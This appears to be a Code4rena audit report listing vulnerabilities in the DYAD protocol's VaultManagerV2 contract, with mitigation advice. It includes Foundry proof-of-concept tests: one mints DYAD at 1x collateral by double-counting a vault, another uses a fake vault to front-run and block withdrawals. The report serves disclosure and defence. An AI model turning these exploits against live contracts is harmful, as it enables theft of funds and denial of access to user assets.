DYAD - 0xleadwizard's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L17-L308

Vulnerability details

Impact

The current implementation of VaultManagerV2 allows minting 1 DYAD with the backing of only $1

This breaks the most important invariant of the protocol: TVL > DYAD total supply

Proof of Concept

A user can add an exogenous vault as a kerosene vault, by calling addKerosene(id, address(exogenous_vault)), this results in double counting of user deposits for that exogenous_vault.

In the POC, we deposit 1 ETH when the price of ETH is $3000 and we can borrow 3000 DYAD and the collateral ratio remains 200% due to double counting.

forge test -f $ETH_RPC --mt test_Borrow_DYAD_AT_ONEx -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;


import "forge-std/Test.sol";
import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DNft} from "src/core/DNft.sol";
import {IVaultManager} from "src/interfaces/IVaultManager.sol";
import {IDyad} from "src/interfaces/IDyad.sol";
import {Licenser} from "src/core/Licenser.sol";
contract Exploit is Test, Parameters {

  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
    // Liscensing the new vault manager in the vault manager liscenser
    vm.prank(Licenser(MAINNET_VAULT_MANAGER_LICENSER).owner());
    Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));
  }

  function test_Borrow_DYAD_AT_ONEx() external {
    address ALICE = makeAddr("ALICE");
    address LIQUIDATOR = makeAddr("LIQUIDATOR");
    uint256 amount = 1e18;

    DNft dNft = DNft(MAINNET_DNFT);
    uint id = dNft.mintNft{value: 10 ether}(ALICE);

    uint256 ethPrice = 3000 * 1e8;
    vm.mockCall(
        address(contracts.ethVault),
        abi.encodeWithSelector(contracts.ethVault.assetPrice.selector),
        abi.encode(ethPrice)
    );
    vm.mockCall(
        address(contracts.ethVault),
        abi.encodeWithSelector(contracts.ethVault.getUsdValue.selector),
        abi.encode(ethPrice * 1e10)
    );

    vm.startPrank(ALICE);
      uint256 borrowAmount = ethPrice*1e10; // 3000e18 
      deal(MAINNET_WETH, ALICE, amount);
      IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), amount);
      contracts.vaultManager.addKerosene(id, address(contracts.ethVault));
      contracts.vaultManager.add(id, address(contracts.ethVault));
      contracts.vaultManager.deposit(id, address(contracts.ethVault), amount);
      contracts.vaultManager.mintDyad(id, borrowAmount, ALICE);
    vm.stopPrank();
    vm.mockCall(
        address(contracts.kerosineDenominator),
        abi.encodeWithSelector(contracts.kerosineDenominator.denominator.selector),
        abi.encode(3000e18)
    );

    console.log("Collateral deposited: %s", amount * ethPrice / 1e8);
    console.log("DYAD Borrowed: %s", IERC20(MAINNET_DYAD).balanceOf(ALICE));
    console.log("Collateral Ratio: %s", contracts.vaultManager.collatRatio(id));
  }
}

Tools Used

Manual

Recommended Mitigation Steps

Revert if the vault is exogenous Vault in addKerosene function

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L153

Vulnerability details

Impact

Bob can stop Alice from withdrawing their assets, by frontrunning them.

Description

The vulnerability exists because of the combination of three things:

1. The deposit function allows depositing to others id.
2. The deposit function does not check if the provided vault is licensed
3. When withdrawing, if idToBlockOfLastDeposit[id] is equal to the current block then the the transaction reverts.

Now when Alice, tries to withdraw their funds Bob front-runs the transaction to deposit on behalf of the Alice ID into a fake vault, this sets idToBlockOfLastDeposit[Alice_id] to the current block, and now Alice's withdraw transaction fails indefinitely.

POC

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;


import "forge-std/Test.sol";
import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DNft} from "src/core/DNft.sol";
import {IVaultManager} from "src/interfaces/IVaultManager.sol";
contract Exploit is Test, Parameters {

  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
  }
  function test_DOS_user_Withdraw() external {
    address ALICE = makeAddr("ALICE");
    address BOB = makeAddr("BOB");
    uint256 amount = 1e18;
    DNft dNft = DNft(MAINNET_DNFT);
    uint id = dNft.mintNft{value: 10 ether}(ALICE);

    vm.startPrank(ALICE);
      deal(MAINNET_WETH, ALICE, amount);
      IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), amount);
      contracts.vaultManager.add(id, address(contracts.ethVault));
      contracts.vaultManager.deposit(id, address(contracts.ethVault), amount);
    vm.stopPrank();
    
    vm.roll(block.number + 1);

    vm.startPrank(BOB);
      address fakeVault = address(new FakeVault());
      contracts.vaultManager.deposit(id, fakeVault, amount);
    vm.stopPrank();

    vm.startPrank(ALICE);
      vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
      contracts.vaultManager.withdraw(id, address(contracts.ethVault), amount, ALICE);
    vm.stopPrank();
  }
}


contract FakeVault {

  function transferFrom(address, address, uint256) public returns (bool) {
    return true;
  }
  function asset() public view returns (IERC20) {
    return IERC20(address(this));
  }

  fallback() external {}
}

forge test --mc Exploit -f $ETH_RPC

Recommended Mitigation Steps

By implementing idToBlockOfLastDeposit as vault aware, this way when a fake vault deposit happens it does not affect the legit vault.

mapping(uint id => mapping(address vault => uint blockNumber)) public idToBlockOfLastDeposit;

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L88-L228

Vulnerability details

Impact

The protocol can accrue debt in case of a sudden drop in the price of the asset or a big release of kerosene tokens from MAINNET_OWNER.

Proof of Concept

Liquidators are supposed to earn 20% as liquidation rewards, but if the CR drops to 1e18 (100%) or lower, the liquidators are given zero rewards for liquidation!

uint cappedCr = cr < 1e18 ? 1e18 : cr;
uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

Hence there are no incentives for the liquidator to liquidate a position like that and bad debt accrues on the protocol.

Tools Used

Manual

Recommended Mitigation Steps

Maybe the DYAD burned from the liquidator can be decreased.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

Positions that are small in size, don't offer enough rewards to the liquidator and hence will never be liquidated, accruing debt on the protocol.

Proof of Concept

Liquidators are paid 20% as rewards but this might not be enough in the combination of two conditions:

1. Small Position
2. Generall high gas fees on mainnet

Ex:

Alice Puts 150 Dollars of ETH and borrows 100 Dollars of DYAD, now the price of ETH drops such that CR = 140%.

The liquidator earns 77% of the value of the Note. Now for a position of 150 Dollars, this will be $115! The liquidator will burn 100 Dollars of DYAD, and get a profit of 15 Dollars.

$15 can many times be less than the fees + operating cost of the liquidator

Tools Used

Manual

Recommended Mitigation Steps

Restrict users having small collateral positions.

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L88

Vulnerability details

Impact

Users can't add a kerosene vault

Proof of Concept

Calling addKerosene reverts with the VaultNotLicensed error

forge test -f $ETH_RPC --mt test_Add_kerosene_Vault

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;


import "forge-std/Test.sol";
import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DNft} from "src/core/DNft.sol";
import {IVaultManager} from "src/interfaces/IVaultManager.sol";
import {IDyad} from "src/interfaces/IDyad.sol";
import {Licenser} from "src/core/Licenser.sol";
contract Exploit is Test, Parameters {

  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
    // Liscensing the new vault manager in the vault manager liscenser
    vm.prank(Licenser(MAINNET_VAULT_MANAGER_LICENSER).owner());
    Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));
  }

  function test_Wrong_Vault_Liscensed() external {
    address ALICE = makeAddr("ALICE");
    DNft dNft = DNft(MAINNET_DNFT);
    uint id = dNft.mintNft{value: 10 ether}(ALICE);


    vm.startPrank(ALICE);
      vm.expectRevert(IVaultManager.VaultNotLicensed.selector);
      contracts.vaultManager.addKerosene(id, address(contracts.unboundedKerosineVault));
    vm.stopPrank();
    
  }
}

Recommended Mitigation Steps

Add Kerosene vaults to the kerosene manager

Assessed type

Access Control